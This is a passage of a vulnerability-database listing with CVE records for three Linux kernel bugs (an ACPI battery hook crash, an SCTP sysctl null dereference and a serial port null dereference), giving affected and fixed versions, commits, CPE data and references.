Linux	Linux	Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < 76fb2cbf01571926da8ecf6876cc8cb07d3f5183 (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < c47843a831e0eae007ad7e848d208e675ba4c132 (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < da964de4c18199e14b961b5b2e5e6570552a313c (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < 07b98400cb0285a6348188aa8c5ec6a2ae0551f7 (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < ca1fb7942a287b40659cc79551a1de54a2c2e7d5 (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < ce31847f109c3a5b2abdd19d7bcaafaacfde53de (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < ca26e8eed9c1c6651f51f7fa38fe444f8573cd1b (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < 9f469ef1c79dac7f9ac1518643a33703918f7e13 (git) Affected: fa93854f7a7ed63d054405bf3779247d5300edd3 , < 76959aff14a0012ad6b984ec7686d163deccdc16 (git)
Linux	Linux	Affected: 4.17 Unaffected: 0 , < 4.17 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49955",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:35:51.725072Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:48.563Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:35.245Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:27.696Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/battery.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "76fb2cbf01571926da8ecf6876cc8cb07d3f5183",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "c47843a831e0eae007ad7e848d208e675ba4c132",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "da964de4c18199e14b961b5b2e5e6570552a313c",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "07b98400cb0285a6348188aa8c5ec6a2ae0551f7",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "ca1fb7942a287b40659cc79551a1de54a2c2e7d5",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "ce31847f109c3a5b2abdd19d7bcaafaacfde53de",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "ca26e8eed9c1c6651f51f7fa38fe444f8573cd1b",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "9f469ef1c79dac7f9ac1518643a33703918f7e13",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            },
            {
              "lessThan": "76959aff14a0012ad6b984ec7686d163deccdc16",
              "status": "affected",
              "version": "fa93854f7a7ed63d054405bf3779247d5300edd3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/battery.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.17"
            },
            {
              "lessThan": "4.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: battery: Fix possible crash when unregistering a battery hook\n\nWhen a battery hook returns an error when adding a new battery, then\nthe battery hook is automatically unregistered.\nHowever the battery hook provider cannot know that, so it will later\ncall battery_hook_unregister() on the already unregistered battery\nhook, resulting in a crash.\n\nFix this by using the list head to mark already unregistered battery\nhooks as already being unregistered so that they can be ignored by\nbattery_hook_unregister()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:46.612Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/76fb2cbf01571926da8ecf6876cc8cb07d3f5183"
        },
        {
          "url": "https://git.kernel.org/stable/c/c47843a831e0eae007ad7e848d208e675ba4c132"
        },
        {
          "url": "https://git.kernel.org/stable/c/da964de4c18199e14b961b5b2e5e6570552a313c"
        },
        {
          "url": "https://git.kernel.org/stable/c/07b98400cb0285a6348188aa8c5ec6a2ae0551f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca1fb7942a287b40659cc79551a1de54a2c2e7d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce31847f109c3a5b2abdd19d7bcaafaacfde53de"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca26e8eed9c1c6651f51f7fa38fe444f8573cd1b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9f469ef1c79dac7f9ac1518643a33703918f7e13"
        },
        {
          "url": "https://git.kernel.org/stable/c/76959aff14a0012ad6b984ec7686d163deccdc16"
        }
      ],
      "title": "ACPI: battery: Fix possible crash when unregistering a battery hook",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49955",
    "datePublished": "2024-10-21T18:02:09.707Z",
    "dateReserved": "2024-10-21T12:17:06.047Z",
    "dateUpdated": "2026-05-12T11:59:27.696Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21640 (GCVE-0-2025-21640)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:17 – Updated: 2026-05-12 12:03

Title

sctp: sysctl: cookie_hmac_alg: avoid using current->nsproxy

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: sysctl: cookie_hmac_alg: avoid using current->nsproxy As mentioned in a previous commit of this series, using the 'net' structure via 'current' is not recommended for different reasons: - Inconsistency: getting info from the reader's/writer's netns vs only from the opener's netns. - current->nsproxy can be NULL in some cases, resulting in an 'Oops' (null-ptr-deref), e.g. when the current task is exiting, as spotted by syzbot [1] using acct(2). The 'net' structure can be obtained from the table->data using container_of(). Note that table->data could also be used directly, as this is the only member needed from the 'net' structure, but that would increase the size of this fix, to use '*data' everywhere 'net->sctp.sctp_hmac_alg' is used.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/5599b212d2f4466e1…
https://git.kernel.org/stable/c/03ca51faba2b017bf…
https://git.kernel.org/stable/c/86ddf8118123cb58a…
https://git.kernel.org/stable/c/3cd0659deb9c03535…
https://git.kernel.org/stable/c/ad673e514b2793b8d…
https://git.kernel.org/stable/c/f0bb3935470684306…
https://git.kernel.org/stable/c/ea62dd1383913b599…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < 5599b212d2f4466e1832a94e9932684aaa364587 (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < 03ca51faba2b017bf6c90e139434c4117d0afcdc (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < 86ddf8118123cb58a0fb8724cad6979c4069065b (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < 3cd0659deb9c03535fd61839e91d4d4d3e51ac71 (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < ad673e514b2793b8d5902f6ba6ab7e890dea23d5 (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < f0bb3935470684306e4e04793a20ac4c4b08de0b (git) Affected: 3c68198e75111a905ac2412be12bf7b29099729b , < ea62dd1383913b5999f3d16ae99d411f41b528d4 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 5.4.292 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:23.595Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:02.019Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5599b212d2f4466e1832a94e9932684aaa364587",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "03ca51faba2b017bf6c90e139434c4117d0afcdc",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "86ddf8118123cb58a0fb8724cad6979c4069065b",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "3cd0659deb9c03535fd61839e91d4d4d3e51ac71",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "ad673e514b2793b8d5902f6ba6ab7e890dea23d5",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "f0bb3935470684306e4e04793a20ac4c4b08de0b",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            },
            {
              "lessThan": "ea62dd1383913b5999f3d16ae99d411f41b528d4",
              "status": "affected",
              "version": "3c68198e75111a905ac2412be12bf7b29099729b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.292",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.292",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: cookie_hmac_alg: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, as this is the only\nmember needed from the \u0027net\u0027 structure, but that would increase the size\nof this fix, to use \u0027*data\u0027 everywhere \u0027net-\u003esctp.sctp_hmac_alg\u0027 is\nused."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:35.448Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5599b212d2f4466e1832a94e9932684aaa364587"
        },
        {
          "url": "https://git.kernel.org/stable/c/03ca51faba2b017bf6c90e139434c4117d0afcdc"
        },
        {
          "url": "https://git.kernel.org/stable/c/86ddf8118123cb58a0fb8724cad6979c4069065b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3cd0659deb9c03535fd61839e91d4d4d3e51ac71"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad673e514b2793b8d5902f6ba6ab7e890dea23d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0bb3935470684306e4e04793a20ac4c4b08de0b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea62dd1383913b5999f3d16ae99d411f41b528d4"
        }
      ],
      "title": "sctp: sysctl: cookie_hmac_alg: avoid using current-\u003ensproxy",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21640",
    "datePublished": "2025-01-19T10:17:57.593Z",
    "dateReserved": "2024-12-29T08:45:45.727Z",
    "dateUpdated": "2026-05-12T12:03:02.019Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50058 (GCVE-0-2024-50058)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 12:00

Title

serial: protect uart_port_dtr_rts() in uart_shutdown() too

Summary

In the Linux kernel, the following vulnerability has been resolved: serial: protect uart_port_dtr_rts() in uart_shutdown() too Commit af224ca2df29 (serial: core: Prevent unsafe uart port access, part 3) added few uport == NULL checks. It added one to uart_shutdown(), so the commit assumes, uport can be NULL in there. But right after that protection, there is an unprotected "uart_port_dtr_rts(uport, false);" call. That is invoked only if HUPCL is set, so I assume that is the reason why we do not see lots of these reports. Or it cannot be NULL at this point at all for some reason :P. Until the above is investigated, stay on the safe side and move this dereference to the if too. I got this inconsistency from Coverity under CID 1585130. Thanks.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/2fe399bb8efd0d325…
https://git.kernel.org/stable/c/399927f0f875b93f3…
https://git.kernel.org/stable/c/d7b5876a6e74cdf84…
https://git.kernel.org/stable/c/e418d91195d29d5f9…
https://git.kernel.org/stable/c/76ed24a34223bb2c6…
https://git.kernel.org/stable/c/602babaa84d627923…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: af224ca2df297440448b9d407d21b50982c6d532 , < 2fe399bb8efd0d325ab1138cf8e3ecf23a39e96d (git) Affected: af224ca2df297440448b9d407d21b50982c6d532 , < 399927f0f875b93f3d5a0336d382ba48b8671eb2 (git) Affected: af224ca2df297440448b9d407d21b50982c6d532 , < d7b5876a6e74cdf8468a478be6b23f2f5464ac7a (git) Affected: af224ca2df297440448b9d407d21b50982c6d532 , < e418d91195d29d5f9c9685ff309b92b04b41dc40 (git) Affected: af224ca2df297440448b9d407d21b50982c6d532 , < 76ed24a34223bb2c6b6162e1d8389ec4e602a290 (git) Affected: af224ca2df297440448b9d407d21b50982c6d532 , < 602babaa84d627923713acaf5f7e9a4369e77473 (git)
Linux	Linux	Affected: 4.7 Unaffected: 0 , < 4.7 (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50058",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:23:14.442818Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:42.567Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:57.190Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:12.436Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/serial/serial_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2fe399bb8efd0d325ab1138cf8e3ecf23a39e96d",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            },
            {
              "lessThan": "399927f0f875b93f3d5a0336d382ba48b8671eb2",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            },
            {
              "lessThan": "d7b5876a6e74cdf8468a478be6b23f2f5464ac7a",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            },
            {
              "lessThan": "e418d91195d29d5f9c9685ff309b92b04b41dc40",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            },
            {
              "lessThan": "76ed24a34223bb2c6b6162e1d8389ec4e602a290",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            },
            {
              "lessThan": "602babaa84d627923713acaf5f7e9a4369e77473",
              "status": "affected",
              "version": "af224ca2df297440448b9d407d21b50982c6d532",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/serial/serial_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.7"
            },
            {
              "lessThan": "4.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "4.7",
